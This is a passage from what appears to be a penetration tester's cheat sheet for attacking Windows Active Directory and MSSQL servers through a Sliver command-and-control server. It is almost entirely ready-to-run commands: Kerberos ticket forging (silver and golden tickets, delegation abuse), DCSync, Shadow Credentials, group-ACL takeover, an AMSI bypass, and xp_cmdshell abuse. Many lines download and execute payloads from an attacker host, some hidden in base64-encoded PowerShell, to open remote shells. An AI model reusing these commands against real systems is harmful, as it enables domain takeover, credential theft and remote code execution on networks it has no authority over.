hashcat -m 13100 -a 0 user.hash /usr/share/wordlists/rockyou.txt -w 3 -O
```

Change login script

```powershell
# This needs to be an executable or can be a .bat file containing powershell oneliner
generate beacon --http 10.10.10.11:8088 --name sliver.obfuscated --os windows --seconds 5 --jitter 0 --evasion


# Setup share
impacket-smbserver -smb2support myshare .


# Set the scriptpath attribute to .exe file
Set-DomainObject -Identity user -SET @{scriptpath='\\10.10.10.11\myshare\sliver.obfuscated.exe'}
sharpsh -t 20 -- -u http://10.10.10.11/powershell-scripts/PowerView.ps1 -e -c U2V0LURvbWFpbk9iamVjdCAtSWRlbnRpdHkgdXNlciAtU0VUIEB7c2NyaXB0cGF0aD0nXFwxMC4xMC4xMC4xMVxteXNoYXJlXHNsaXZlci5vYmZ1c2NhdGVkLmV4ZSd9
```

Shadow Credentials

```powershell
# List existing key credentials first
.\Whisker.exe list /target:targetuser /domain:corp.local /dc:dc01.corp.local


# Add a new shadow credential (generates a cert + stores public key in msDS-KeyCredentialLink)
.\Whisker.exe add /target:targetuser /path:C:\Users\user\Desktop\user.pfx /password:P@ssw0rd


# Use Rubeus to get TGT and inject in current session
.\Rubeus.exe asktgt /user:targetuser /certificate:C:\Users\user\Desktop\user.pfx /password:"P@ssw0rd" /domain:corp.local /dc:dc01.corp.local /getcredentials /show /ptt


# Use certipy to get NTLM hash of the user 
pipx install certipy-ad
certipy auth -pfx user.pfx -password 'P@ssw0rd' -dc-ip 10.0.0.2 -domain corp.local -username targetuser
```

**WriteDacl on Group**

> The user attacker can writedacl on admins group and add users within it

**Windows Abuse**

```powershell
# Load script
shell
powershell -ep bypass
IEX((new-object net.webclient).downloadstring('http://10.10.10.11/powershell-scripts/PowerView.ps1'))


# WriteMembers does not work for some reason, use All instead
Add-DomainObjectAcl -TargetIdentity admins -PrincipalIdentity attacker -Rights WriteMembers
Add-DomainObjectAcl -TargetIdentity admins -PrincipalIdentity attacker -Rights All
sharpsh -t 20 -- -u 'http://10.10.10.11/powershell-scripts/PowerView.ps1' -e -c QWRkLURvbWFpbk9iamVjdEFjbCAtVGFyZ2V0SWRlbnRpdHkgYWRtaW5zIC1QcmluY2lwYWxJZGVudGl0eSBhdHRhY2tlciAtUmlnaHRzIEFsbA==


# Add the user into admins
Add-DomainGroupMember -Identity 'admins' -Members 'attacker'
sharpsh -t 20 -- -u 'http://10.10.10.11/powershell-scripts/PowerView.ps1' -e -c QWRkLURvbWFpbkdyb3VwTWVtYmVyIC1JZGVudGl0eSAnYWRtaW5zJyAtTWVtYmVycyAnYXR0YWNrZXIn


# Check the group members if user is now part of it
Get-DomainGroupMember -Identity admins
sharpsh -t 20 -- -u 'http://10.10.10.11/powershell-scripts/PowerView.ps1' -e -c R2V0LURvbWFpbkdyb3VwTWVtYmVyIC1JZGVudGl0eSBhZG1pbnM=
```

**Linux Abuse**

```powershell
# Add ACL for write permissions on the group admins for attacker
proxychains impacket-dacledit -action 'write' -rights 'WriteMembers' -principal 'attacker' -target 'admins' 'domain.com'/'attacker' -hashes ':12345678912345678912345678912345'


# Use PTH NET to add the user account into attacker 
proxychains pth-net rpc group addmem "admins" "attacker" -U "domain.com"/"attacker"%"ffffffffffffffffffffffffffffffff":"12345678912345678912345678912345" -S "dc02.domain.com"


# Verify if the user account has been added
proxychains pth-net rpc group members "admins" -U "domain.com"/"attacker"%"ffffffffffffffffffffffffffffffff":"12345678912345678912345678912345" -S "dc02.domain.com"
```

#### Unconstrained Delegation

Based on a machine having unconstrained delegation rights.

```powershell
# Find out computers/users with Unconstrained Delegation
sharpsh -- -u 'http://10.10.10.11/powershell-scripts/PowerView.ps1' -c '"Get-DomainComputer -UnConstrained"'
sharpsh -- -u 'http://10.10.10.11/powershell-scripts/PowerView.ps1' -c '"Get-DomainUser -UnConstrained"'


# Now open two sliver sessions, both should be as the machine account itself (perform `getsystem` if working as a local admin)
rubeus -t 30 -- monitor /interval:5 /runfor:15 /filteruser:DC06$ /nowrap
rubeus -t 30 -- monitor /interval:5 /runfor:15 /nowrap


# Open another sliver session and use the session to run SpoolSample/SharpSpoolTrigger to coerce - SharpSpoolTrigger is preferred
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/SpoolSample.exe DC06 machine06
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/SharpSpoolTrigger.exe DC06 machine06


# Confirm current tickets
execute -o klist


# We should now have the TGT, inject into current process or launch new one with cmds in shell duplication
rubeus -i -- ptt /ticket:doIFDDCCBQigAwIBBaEDAgEWooIEFD...


# Check if new ticket is injected
execute -o klist
```

#### Constrained Delegation

**Machine**

```powershell
# Check machines for constrained delegation
sharpsh -- -u 'http://10.10.10.11/powershell-scripts/PowerView.ps1' -c '"Get-DomainComputer -TrustedToAuth"'


# Get CIFS ticket and inject in current session
rubeus -t 20 -- s4u /user:machine02$ /rc4:ffffffffffffffffffffffffffffffff /impersonateuser:administrator /msdsspn:"cifs/machine03.domain.com" /nowrap /ptt


# OR Create a new process with Rubeus - Requires admin access to create and inject ticket within it
rubeus -i -t 20 -- createnetonly /program:C:\\Windows\\System32\\cmd.exe /ticket:doIF1jCCBdKgAwIBBaEDAgEWooIE7TCCBOlhggTlMIIE4aADAgEFoQobCEVWSUwuQ09No


# Migrate into the created process
migrate -p 4192


# Get the current tickets
execute -o klist


# Do altservice for the host, http/host/cifs
rubeus -t 20 -- s4u /user:machine02$ /rc4:ffffffffffffffffffffffffffffffff /impersonateuser:administrator /msdsspn:"cifs/machine03.domain.com" /altservice:host /nowrap /ptt
rubeus -t 20 -- s4u /user:machine02$ /rc4:ffffffffffffffffffffffffffffffff /impersonateuser:administrator /msdsspn:"cifs/machine03.domain.com" /altservice:http /nowrap /ptt
rubeus -t 20 -- s4u /user:machine02$ /rc4:ffffffffffffffffffffffffffffffff /impersonateuser:administrator /msdsspn:"cifs/machine03.domain.com" /altservice:cifs /nowrap /ptt


# Check tickets again
execute -o klist


# We can now access C$ on the host
ls //machine03.domain.com/c$
```

**User**

```powershell
sharpsh -- -u 'http://10.10.10.11/powershell-scripts/PowerView.ps1' -c '"Get-DomainUser -TrustedToAuth"'


# Convert password into NTLM
rubeus -t 20 -- hash /password:password123


# Get CIFS ticket and inject in current session
rubeus -t 20 -- s4u /user:user /rc4:ffffffffffffffffffffffffffffffff /impersonateuser:administrator /msdsspn:"cifs/machine03.domain.com" /nowrap /ptt


# Get the current tickets
execute -o klist


# Do altservice for the host
rubeus -t 20 -- s4u /user:machine02$ /rc4:ffffffffffffffffffffffffffffffff /impersonateuser:administrator /msdsspn:"cifs/machine03.domain.com" /altservice:host /nowrap /ptt
rubeus -t 20 -- s4u /user:machine02$ /rc4:ffffffffffffffffffffffffffffffff /impersonateuser:administrator /msdsspn:"cifs/machine03.domain.com" /altservice:http /nowrap /ptt
rubeus -t 20 -- s4u /user:machine02$ /rc4:ffffffffffffffffffffffffffffffff /impersonateuser:administrator /msdsspn:"cifs/machine03.domain.com" /altservice:cifs /nowrap /ptt


# Check tickets again
execute -o klist


# We can now access C$ on the host
ls //machine03.domain.com/c$
```

**Linux**

```powershell
# Get Ticket for machine03
impacket-getST -spn cifs/machine03 -impersonate administrator 'domain.com/user:password'


# Declare as var
export KRB5CCNAME=administrator@cifs_machine03.domain.com.ccache
klist


# Don't use full FQDN or it causes SMB errors
impacket-psexec -no-pass -k domain.com/administrator@machine03 -target-ip 10.10.100.16


# Or use impacket-atexec which should get the sliver session directly
impacket-atexec -k -no-pass domain.com/administrator@machine03 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='
```

#### RBCD

**GenericWrite**

```powershell
# Find machine quota if we can create new computer objects
Get-DomainObject -Properties ms-DS-MachineAccountQuota
sharpsh -t 20 -- -u http://10.10.10.11/powershell-scripts/PowerView.ps1 -e -c R2V0LURvbWFpbk9iamVjdCAtUHJvcGVydGllcyBtcy1EUy1NYWNoaW5lQWNjb3VudFF1b3Rh



# Load PowerMad tool to create new computer object
New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-SecureString 'h4xxxx2' -AsPlainText -Force)
sharpsh -t 20 -- -u http://10.10.10.11/powershell-scripts/Powermad.ps1 -e -c TmV3LU1hY2hpbmVBY2NvdW50IC1NYWNoaW5lQWNjb3VudCBteUNvbXB1dGVyIC1QYXNzd29yZCAkKENvbnZlcnRUby1TZWN1cmVTdHJpbmcgJ2g0eHh4eDInIC1Bc1BsYWluVGV4dCAtRm9yY2Up


# Check if the computer object is created
Get-DomainComputer -Identity myComputer
sharpsh -t 20 -- -u http://10.10.10.11/powershell-scripts/PowerView.ps1 -e -c R2V0LURvbWFpbkNvbXB1dGVyIC1JZGVudGl0eSBteUNvbXB1dGVy


# AMSI Bypass for interactive shell within sliver (in case sharpsh won't work)
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)


# Loading PowerView in powershell (in case sharpsh won't work)
iex((new-object system.net.webclient).downloadstring('http://10.10.10.11/powershell-scripts/PowerView.ps1'))


# Get the binary length of the computer - As our user has GenericWrite on the machine08, we can update its attributes
# Printing $ExecutionContext.SessionState.LanguageMode just in case to see output if it worked
$sid = Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid; $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"; $SDbytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDbytes,0); Get-DomainComputer -Identity machine08.domain.com | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}; $ExecutionContext.SessionState.LanguageMode
sharpsh -i -t 20 -- -u http://10.10.10.11/powershell-scripts/PowerView.ps1 -e -c JHNpZCA9IEdldC1Eb21haW5Db21wdXRlciAtSWRlbnRpdHkgbXlDb21wdXRlciAtUHJvcGVydGllcyBvYmplY3RzaWQgfCBTZWxlY3QgLUV4cGFuZCBvYmplY3RzaWQ7ICRTRCA9IE5ldy1PYmplY3QgU2VjdXJpdHkuQWNjZXNzQ29udHJvbC5SYXdTZWN1cml0eURlc2NyaXB0b3IgLUFyZ3VtZW50TGlzdCAiTzpCQUQ6KEE7O0NDRENMQ1NXUlBXUERUTE9DUlNEUkNXRFdPOzs7JCgkc2lkKSkiOyAkU0RieXRlcyA9IE5ldy1PYmplY3QgYnl0ZVtdICgkU0QuQmluYXJ5TGVuZ3RoKTsgJFNELkdldEJpbmFyeUZvcm0oJFNEYnl0ZXMsMCk7IEdldC1Eb21haW5Db21wdXRlciAtSWRlbnRpdHkgbWFjaGluZTA4LmRvbWFpbi5jb20gfCBTZXQtRG9tYWluT2JqZWN0IC1TZXQgQHsnbXNkcy1hbGxvd2VkdG9hY3RvbmJlaGFsZm9mb3RoZXJpZGVudGl0eSc9JFNEQnl0ZXN9OyAkRXhlY3V0aW9uQ29udGV4dC5TZXNzaW9uU3RhdGUuTGFuZ3VhZ2VNb2Rl



# Verify the changes we did - is the msds-allowedtoactonbehalfofotheridentity now present? 
$RBCDbytes = Get-DomainComputer machine08.domain.com -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity; $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0; $Descriptor.DiscretionaryAcl
sharpsh -i -t 20 -- -u http://10.10.10.11/powershell-scripts/PowerView.ps1 -e -c JFJCQ0RieXRlcyA9IEdldC1Eb21haW5Db21wdXRlciBtYWNoaW5lMDguZG9tYWluLmNvbSAtUHJvcGVydGllcyAnbXNkcy1hbGxvd2VkdG9hY3RvbmJlaGFsZm9mb3RoZXJpZGVudGl0eScgfCBzZWxlY3QgLWV4cGFuZCBtc2RzLWFsbG93ZWR0b2FjdG9uYmVoYWxmb2ZvdGhlcmlkZW50aXR5OyAkRGVzY3JpcHRvciA9IE5ldy1PYmplY3QgU2VjdXJpdHkuQWNjZXNzQ29udHJvbC5SYXdTZWN1cml0eURlc2NyaXB0b3IgLUFyZ3VtZW50TGlzdCAkUkJDRGJ5dGVzLCAwOyAkRGVzY3JpcHRvci5EaXNjcmV0aW9uYXJ5QWNs



# Generate NTLM hash of the password
rubeus -t 20 -- hash /password:h4xxxx2


# Create the ticket and inject in current session
rubeus -t 20 -- s4u /user:myComputer$ /rc4:ffffffffffffffffffffffffffffffff /impersonateuser:administrator /msdsspn:CIFS/machine08.domain.com /nowrap
rubeus -t 20 -- s4u /user:myComputer$ /rc4:ffffffffffffffffffffffffffffffff /impersonateuser:administrator /msdsspn:CIFS/machine08.domain.com /nowrap /ptt



# OR Create a new process with Rubeus - Requires admin access to add ticket within it
rubeus -i -t 20 -- createnetonly /program:C:\\Windows\\System32\\cmd.exe /ticket:doIGIjCCBh6gAwIBBaEDAgEWooIFJzCCBSNhggUfMIIFG6ADAgEFoRAbDk9QU


# Migrate into the created process
migrate -p 3116


# Get the current tickets
execute -o klist


# Check the details of appsrv01
ls //machine08.domain.com/c$


# Run psexec now on appsrv01 and get shell access
psexec -d Title -s Description -p osep-lateral machine08.domain.com
```

### Silver Ticket

> Impersonating a user from a domain group which has access to a web service

#### Windows

```powershell
# Get TGT and see if we can reach the child domain
.\Rubeus.exe hash /password:password123
.\Rubeus.exe asktgt /domain:domain.com /user:username /rc4:ffffffffffffffffffffffffffffffff /nowrap /ptt


# Generate silver ticket impersonating victim user from prod domain for http service on machine05
.\Rubeus.exe silver /service:HTTP/machine05.domain.com /rc4:ffffffffffffffffffffffffffffffff /user:victim /domain:domain.com /nowrap /ptt /ldap


# In sliver
rubeus -t 30 -- silver /service:HTTP/machine05.domain.com /rc4:ffffffffffffffffffffffffffffffff /user:victim /domain:domain.com /nowrap /ldap /ptt



# Open internet explorer, go into intranet settings and add the domain machine05.domain.com into trusted sites after opening
&"C:\Program Files\internet explorer\iexplore.exe"


# Open the following urls, we're now victim
http://machine05.domain.com/Internal/
http://machine05.domain.com/Internal/Admin



# To try on Browser, convert the base64 contents we got into .ccache format
echo "doIF5TCCBeGgAwIBBaEDAgDUxMjNaqBMbEURFTktJQUlSLVBST0QuQ09NqS...." | base64 -d > ticket.kirbi
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
klist


# Open firefox
firefox


# Set configs
about:config


# Set the following settings
network.negotiate-auth.trusted-uris = .domain.com
network.negotiate-auth.delegation-uris = .domain.com


# Reopen firefox and we should be able to access the Admin portal
firefox --new-tab http://machine05.domain.com/Internal/Admin


# Within linux, this works
curl -k http://machine05.domain.com --negotiate -u :
curl -k http://machine05.domain.com/Internal --negotiate -u :
curl -k http://machine05.domain.com/Internal/Admin --negotiate -u :
```

#### Linux

```powershell
# Get victim's ticket
impacket-ticketer -nthash ffffffffffffffffffffffffffffffff -domain-sid S-1-5-21-3313635286-3087330321-3553712345 -domain domain.com -spn HTTP/machine05.domain.com victim


# Check ticket status
klist


# We can now impersonate victim
curl -k --negotiate -u : http://machine05.domain.com/Internal
curl -k --negotiate -u : http://machine05.domain.com/Internal/Admin
```

### Domain Lateral Movement

#### Password Change

> This runs on the DC to change password of a domain user as DA

```powershell
execute -o net user domainuser "Password123!" /domain
```

#### Golden Ticket

**Child Domain to Parent Domain**

Creating golden ticket to be a part of EA within the parent domain from the child domain

```powershell
# Get krbtgt token from the child domain using DCSync
krbtgt -> ffffffffffffffffffffffffffffffff

# Try to access CIFS on DC02
ls //dc02.domain.com/c$

# Check the tickets
execute -o klist

# Get the SIDs for the forest domain and its child
Get-DomainSID -Domain child.domain.com
Get-DomainSid -Domain domain.com
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainSid -Domain child.domain.com"'
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainSid -Domain domain.com"'

# We get
S-1-5-21-2032401531-514583578-4118012345
S-1-5-21-1135011135-3178090508-3151412345


# Draft golden ticket - user can be anything bogus - sid is current domain SID and SIDs is child's - Also -519 is the EA group identifier and is static
rubeus -t 30 -- golden /rc4:ffffffffffffffffffffffffffffffff /sid:S-1-5-21-2032401531-514583578-4118012345 /sids:S-1-5-21-1135011135-3178090508-3151412345-519 /ldap /user:Administrator /domain:child.domain.com /nowrap /ptt


# Check the tickets
execute -o klist


# Try accessing the C$ now
ls //dc02.domain.com/c$


# Go into client -> nt auth\system shell and then
psexec -d Title -s Description -p osep-lateral dc02.domain.com
```

**Parent Domain to Child Domain**

> All this or just add yourself into EA by being a DA on the parent domain

```powershell
# DCSync to do SharpKatz - Only the DA -> Admin can do it hence we do runas above
execute-assembly /home/kali/tools/bins/csharp-files/SharpKatz.exe --Command dcsync --User domain.com\\krbtgt --Domain domain.com --DomainController dc01.domain.com


# Hashes
krbtgt -> ffffffffffffffffffffffffffffffff


# Get the SIDs for the domain
Get-DomainSID -Domain domain.com
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainSid -Domain domain.com"'


# We get
domain.com -> S-1-5-21-1725955968-4040474791-670212345


# Draft golden ticket - user can be anything bogus - sid and sids are same with sids containing group id for EA
rubeus -t 30 -- golden /rc4:ffffffffffffffffffffffffffffffff /sid:S-1-5-21-1725955968-4040474791-670212345 /sids:S-1-5-21-1725955968-4040474791-670212345-519 /ldap /user:Administrator /domain:domain.com /nowrap /ptt


# Check the tickets
execute -o klist


# Try accessing the C$ now
ls //dc02.dev.domain.com/c$


# Go into client -> nt auth\system shell and then
psexec -d Title -s Description -p osep-lateral dc02.dev.domain.com
```

### MSSQL

#### SQLMap

```powershell
# Automate injection on post/get request stored within a .txt file
sqlmap -r sqli.txt --batch


# Enumerate dbs
sqlmap -r sqli.txt --batch --dbs


# OS Shell
sqlmap -u "http://10.10.200.100/?src=*&dst=" --os-shell --batch


# Relaying through SQLmap
sqlmap -u "http://10.10.200.100/?src=*&dst=" --batch --sql-query="EXEC master.dbo.xp_dirtree '\\\\10.10.10.11\\share'"


# NetNTLMv2 - responder hash crack
hashcat -m 5600 db01.hash /usr/share/wordlists/rockyou.txt --force
```

#### Queries

```powershell
# Check if we can impersonate SA
SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sa');
EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER; 


# Impersonate SA and enable xp_cmdshell and get sliver shell
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; 
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; 
EXEC xp_cmdshell 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='


# One liner
EXECUTE AS LOGIN = 'sa';EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='
```

#### MSSQLand

> \[!TIP] [MSSQLand](https://github.com/n3rada/MSSQLand) is recommended for everything (labs/exam). [@n3rada](https://github.com/n3rada) is really active, drop him a message for any bugs.

For external (Linux-side) access with pass-the-hash or Kerberos, use [mssqlclient-ng](https://github.com/n3rada/mssqlclient-ng)

> \[!NOTE] For why [SQLRecon](https://github.com/skahwah/SQLRecon) falls short (no impersonation across linked servers, architectural limitations), see [MSSQLand's ORIGIN.md](https://github.com/n3rada/MSSQLand/blob/main/ORIGIN.md). Use [MSSQLand](https://github.com/n3rada/MSSQLand) instead.

**Add Custom Command**

1. Locate aliases directory

```powershell
/home/kali/.sliver-client/aliases
```

2. Create new folder `mssqland`
3. Create `alias.json`

```powershell
{
    "name": "MSSQLand",
    "version": "v2.0",
    "command_name": "mssqland",
    "original_author": "n3rada",
    "repo_url": "https://github.com/n3rada/MSSQLand",
    "help": "Effortlessly navigate and conquer linked Microsoft SQL Server (MS SQL) servers",
    "entrypoint": "Main",
    "allow_args": true,
    "default_args": "",
    "is_reflective": false,
    "is_assembly": true,
    "files": [
      {
        "os": "windows",
        "arch": "amd64",
        "path": "MSSQLand.exe"
      },
      {
        "os": "windows",
        "arch": "386",
        "path": "MSSQLand.exe"
      }
    ]
}
```

4. Paste compiled `MSSQLand.exe`
5. Restart sliver

```powershell
$ tree mssqland
mssqland
├── alias.json
└── MSSQLand.exe
```

**CLI Syntax**

```
MSSQLand.exe <host> -c <cred> [options] <action> [action-args]
```

* Host format: `server:port/user@database` (only `server` is required)
* `/user` on host = impersonate that login (cascading: `/user1/user2`)
* `-l` linked server chain uses **semicolons**: `-l SQL01;SQL02/user;SQL03@db`

```powershell
# Local Authentication on different SQL servers
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01 -c local -u localuser -p password whoami
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql02 -c local -u localuser -p password whoami
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql03 -c local -u localuser -p password whoami

# Token authentication (current user)
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql04 -c token whoami
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe localhost -c token whoami

# Check what user can be impersonated on current instance
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01 -c token impersonate

# Map the linked server chains (really useful)
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01 -c local -u localuser -p password linkmap
# SQL01 (localuser [dbo]) ---> SQL02 (localGroup [dbo]) ---> SQL03 (localapps [guest])
# SQL01 (localuser [dbo]) ---> SQL03 (localAccount [dbo]) ---> SQL02 (localGroup [dbo]) ---> SQL03 (localapps [guest])

# Traverse linked servers (/user on host = impersonate before traversing, /user in -l chain = impersonate per hop)
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01 -c local -u localuser -p password -l sql02 whoami
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01/localuser -c local -u localuser -p password -l sql02 whoami
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01/localuser -c local -u localuser -p password -l sql03 whoami
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01/devUser -c token -l "SQL02;sql01" whoami

# Longer chain with per-hop impersonation - sql01 -> sql03 (as localAccount) -> sql02 (as localGroup)
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01/localuser -c local -u localuser -p password -l "SQL03/localAccount;SQL02/localGroup" whoami

# Get sliver shell via PowerShell download-and-execute
execute-assembly -t 40 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01/webapp11 -c local -u localuser -p password -l sql27 powershell "irm http://10.10.10.11/hav0c-ps.txt | iex"
execute-assembly -t 40 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01/webapp11 -c local -u localuser -p password -l sql53 powershell "irm http://10.10.10.11/hav0c-ps.txt | iex"
execute-assembly -t 40 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01/devUser -c token -l "SQL02;sql01" powershell "irm http://10.10.10.11/hav0c-ps.txt | iex"
execute-assembly -t 40 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01/devUser -c token -l "SQL02;sql01;SQL02" powershell "irm http://10.10.10.11/hav0c-ps.txt | iex"

# List databases and search strings
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01/devUser -c token -l "SQL02;sql01;SQL02" databases
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01/devUser -c token -l "SQL02;sql01;SQL02" search wordpress
execute-assembly -t 20 /home/kali/tools/bins/csharp-files/MSSQLand.exe sql01/devUser -c token -l "SQL02;sql01;SQL02" search wordpress admin
```

#### mssqlclient-ng

> [mssqlclient-ng](https://github.com/n3rada/mssqlclient-ng) Linux-side MS SQL client. Ideal for PTH, Kerberos, and external access through a SOCKS5 proxy from your beacon.

```shell
# Windows authentication with password
mssqlclient-ng 10.10.100.15 -d domain.com -u domainuser -p 'password' -windows-auth

# Pass-the-Hash (domain user)
mssqlclient-ng 10.10.100.15 -d domain.com -u Administrator -H ':ffffffffffffffffffffffffffffffff' -windows-auth

# Pass-the-Hash (local user)
mssqlclient-ng 10.10.100.15 -u Administrator -H ':ffffffffffffffffffffffffffffffff'

# Machine account PTH
mssqlclient-ng 10.10.100.15 -d domain.com -u 'machine01$' -H ':ffffffffffffffffffffffffffffffff' -windows-auth

# Local SQL authentication
mssqlclient-ng 10.10.200.130 -u localuser -p password

# Kerberos authentication (use with proxychains + SOCKS5 from beacon)
mssqlclient-ng sql01.domain.com -k

# Traverse linked servers and run whoami
mssqlclient-ng 10.10.200.130 -u localuser -p password -l "SQL01;SQL02;SQL03" -a whoami

# Traverse linked servers with per-hop impersonation
mssqlclient-ng 10.10.200.131 -d domain.com -u 'machine01$' -H ':ffffffffffffffffffffffffffffffff' -windows-auth -l "SQL04/admin" -a whoami

# Get reverse shell via linked server
mssqlclient-ng 10.10.200.130 -u localuser -p password -l "SQL03" -a xpcmd "irm http://10.10.10.11/hav0c-ps.txt | iex"
```

#### MSSQLpwner

```powershell
# Try and check permissions as different users - PTH and creds
mssqlpwner domain.com/domainuser:8b1B0BzGvj9J@10.10.100.15 -windows-auth interactive enumerate
mssqlpwner ./Administrator@10.10.100.15 -hashes ':ffffffffffffffffffffffffffffffff' -windows-auth interactive enumerate
mssqlpwner domain.com/machine01\$@10.10.100.15 -hashes ':ffffffffffffffffffffffffffffffff' -windows-auth interactive enumerate


# For local authentication
mssqlpwner localuser:password@10.10.200.130 interactive enumerate


# Run command on the link
mssqlpwner localuser:password@10.10.200.130 -link-name SQL01 exec hostname
mssqlpwner localuser:password@10.10.200.130 -link-name SQL02 exec hostname
mssqlpwner localuser:password@10.10.200.130 -link-name SQL03 exec hostname
mssqlpwner dev.domain.com/machine01\$@10.10.200.131 -hashes ':ffffffffffffffffffffffffffffffff' -windows-auth -link-name SQL04 exec hostname


# Get reverse shell
mssqlpwner localuser:password@10.10.200.130 -link-name SQL03 exec 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='


# Use specific link
mssqlpwner -hashes ':ffffffffffffffffffffffffffffffff' ./Administrator@10.10.200.131 -windows-auth -link-name sql03 enumerate interactive


# Get the chain list accessible
get-chain-list


# Set chain to that of dba access on a linked machine
set-chain c99e9ea1-6f06-4f85-85b0-4b65d11d4a3a


# Run command on the selected chain
exec "whoami /all"


# Sliver session
exec 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='
```

#### SQLRecon

> I don't like using this as impersonation across links is not supported by SQLRecon

```powershell
# Enumerate spn
sqlrecon -- /enum:sqlspns


# Whoami
sqlrecon -- /auth:wintoken /h:sql01 /m:whoami
sqlrecon -- /auth:Local /u:localuser /p:password /h:sql01 /m:whoami


# Info of server
sqlrecon -- /auth:Local /u:localuser /p:password /h:sql01 /module:info


# Who can we impersonate? 
sqlrecon -- /auth:Local /u:localuser /p:password /h:sql01 /m:impersonate


# Impersonation - Fails
sqlrecon -- /auth:Local /u:localuser /p:password /h:sql01 /m:whoami /i:sa


# Current user
execute-assembly /home/kali/tools/bins/csharp-files/SQLRecon.exe '/a:wintoken /h:sql01 /m:query /command:"select SYSTEM_USER"'


# Enable XpCMDShell
sqlrecon -- /a:wintoken /h:sql01 /m:enablexp


# Command Execution
